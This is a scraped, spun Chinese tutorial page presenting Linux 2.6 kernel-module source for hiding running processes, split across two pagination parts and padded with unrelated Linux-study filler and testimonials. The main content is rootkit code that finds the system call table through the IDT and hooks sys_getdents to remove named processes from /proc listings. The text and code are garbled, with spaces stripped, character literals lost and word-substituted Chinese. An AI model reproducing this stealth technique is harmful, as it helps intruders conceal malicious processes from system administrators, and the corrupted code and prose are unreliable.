linux教程之Linux 2.6内核中历程埋没完成举措
系统做了些什么,这需要时间去掌握,(背命令不是一件好的学习方法,相信我你一定会在你背完之前全部忘光),尽量掌握常用命令;很早之前的小程序,对照复杂可是以为风趣
道理很复杂,Linux检察历程的命令ps是经由过程体系挪用sys_getdents完成,sys_getdents用户猎取一个指定路径下的目次条目,实践上就是列举
/proc/ 下的pid,如许我们只必要hook一下sys_getdents,把响应的要埋没的pid信息往失落便可。
以下是LKM代码,在Linux-2.6.14测试并运转乐成
#include<linux/module.h>
#include<linux/kernel.h>
#include<asm/unistd.h>
#include<linux/types.h>
#include<linux/dirent.h>
#include<linux/string.h>
#include<linux/file.h>
#include<linux/fs.h>
#defineCALLOFF100
//利用模块参数来界说必要埋没的历程名
char*processname;
module_param(processname,charp,0);
struct{
unsignedshortlimit;
unsignedintbase;
}__attribute__((packed))idtr;
struct{
unsignedshortoff1;
unsignedshortsel;
unsignedcharnone,
flags;
unsignedshortoff2;
}__attribute__((packed))*idt;
void**sys_call_table;
asmlinkagelong(*orig_getdents)(unsignedintfd,structlinux_dirent64__user*dirp,unsignedintcount);
char*findoffset(char*start)
{
char*p;
for(p=start;p<start+CALLOFF;p++)
if(*(p+0)==xff&&*(p+1)==x14&&*(p+2)==x85)
returnp;
returnNULL;
}
intmyatoi(char*str)
{
intres=0;
intmul=1;
char*ptr;
for(ptr=str+strlen(str)-1;ptr>=str;ptr--){
if(*ptr<0||*ptr>9)
return(-1);
res+=(*ptr-0)*mul;
mul*=10;
}
return(res);
}
structtask_struct*get_task(pid_tpid)
{
structtask_struct*p=get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid==pid)
{
printk("pidfound
");
returnentry;
}
}
returnNULL;
}
staticinlinechar*get_name(structtask_struct*p,char*buf)
{
inti;
char*name;
name=p->comm;
i=sizeof(p->comm);
do{
unsignedcharc=*name;
name++;
i--;
*buf=c;
if(!c)
break;
if(c==){
buf=c;
buf+=2;
continue;
}
if(c==
){
buf=;
buf=n;
buf+=2;
continue;
}
buf++;
}
while(i);
*buf=
;
returnbuf+1;
}
intget_process(pid_tpid)
{
structtask_struct*task=get_task(pid);
char*buffer={0};
if(task)
{
12下一页
网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rloginrcp、finger、mail、nslookup
linux教程之Linux 2.6内核中历程埋没完成举措
只要了解了Linux的基础之后,应该就可以很轻易的解决掉这方面的问题。而有些朋友们常常一接触Linux就是希望构架网站,根本没有想到要先了解一下Linux的基础。这是相当困难的。get_name(task,buffer);</P> if(strstr(buffer,processname))
return1;
else
return0;
}
else
return0;
}
asmlinkagelonghacked_getdents(unsignedintfd,structlinux_dirent64__user*dirp,unsignedintcount)
{
//addedbylscforprocess
longvalue;
structinode*dinode;
intlen=0;
inttlen=0;
structlinux_dirent64*mydir=NULL;
//end
//在这里挪用一下sys_getdents,失掉前往的了局
value=(*orig_getdents)(fd,dirp,count);
tlen=value;
//遍历失掉的目次列表
while(tlen>0)
{
len=dirp->d_reclen;
tlen=tlen-len;
printk("%s\n",dirp->d_name);
//在proc文件体系中,目次名就是pid,我们再依据pid找到历程名
if(get_process(myatoi(dirp->d_name)))
{
printk("findprocess\n");
//发明婚配的历程,挪用memmove将这条历程掩盖失落
memmove(dirp,(char*)dirp+dirp->d_reclen,tlen);
value=value-len;
}
if(tlen)
dirp=(structlinux_dirent64*)((char*)dirp+dirp->d_reclen);
}
returnvalue;
}
void**get_sct_addr(void)
{
unsignedsys_call_off;
unsignedsct=0;
char*p;
asm("sidt%0":"=m"(idtr));
idt=(void*)(idtr.base+8*0x80);
sys_call_off=(idt->off2<<16)|idt->off1;
if((p=findoffset((char*)sys_call_off)))
sct=*(unsigned*)(p+3);
return((void**)sct);
}
staticvoidfilter_exit(void)
{
if(sys_call_table)
sys_call_table=orig_getdents;
}
staticintfilter_init(void)
{
//失掉sys_call_table的偏移地点
sys_call_table=get_sct_addr();
if(!sys_call_table){
printk("get_act_addr():NULL...\n");
return0;
}else
printk("sct:0x%x\n",(unsignedint)sys_call_table);
//将sys_call_table中注册的体系挪用sys_getdents交换成我们本人的函数hack_getdents
orig_getdents=sys_call_table;
sys_call_table=hacked_getdents;
return0;
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");
</p>上一页12
无论图形界面发展到什么水平这个原理是不会变的,Linux命令有许多强大的功能:从简单的磁盘操作、文件存取、到进行复杂的多媒体图象和流媒体文件的制作。 学习Linux,应该怎样学,主要学些什么,一位Linux热心学习者,一段学习Linux的风云经验,历时十二个小时的思考总结,近十位网络Linux学习者权威肯定,为您学习Linux指明方向。 清楚了解网络的基础知识,特别是在Linux下应用知识,如接入internet等等。 可以说自己收获很大,基本上完成了老师布置的任务,对于拔高的题目没有去做,因为我了解我的水平,没有时间和精力去做。? 主流Linux发行版都自带非常详细的文档(包括手册页和FAQ),从系统安装到系统安全,针对不同层次的人的详尽文档,仔细阅读文档后40%问题都可在此解决。 上课传授的不仅仅是知识,更重要的是一些道理,包括一些做人的道理,讲课时也抓住重点,循序渐进,让同学理解很快;更可贵的是不以你过去的成绩看问题. 即便是非英语国家的人发布技术文档,Linux也都首先翻译成英语在国际学术杂志和网络上发表。 让我树立了很大的信心学好这门课程,也学到了不少专业知识和技能。? Windows有MS-DOS?方式,在该方式下通过输入DOS命令来操作电脑;Linux与Windows类似,也有命令方式,Linux?启动后如果不执行?X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。?
页:
[1]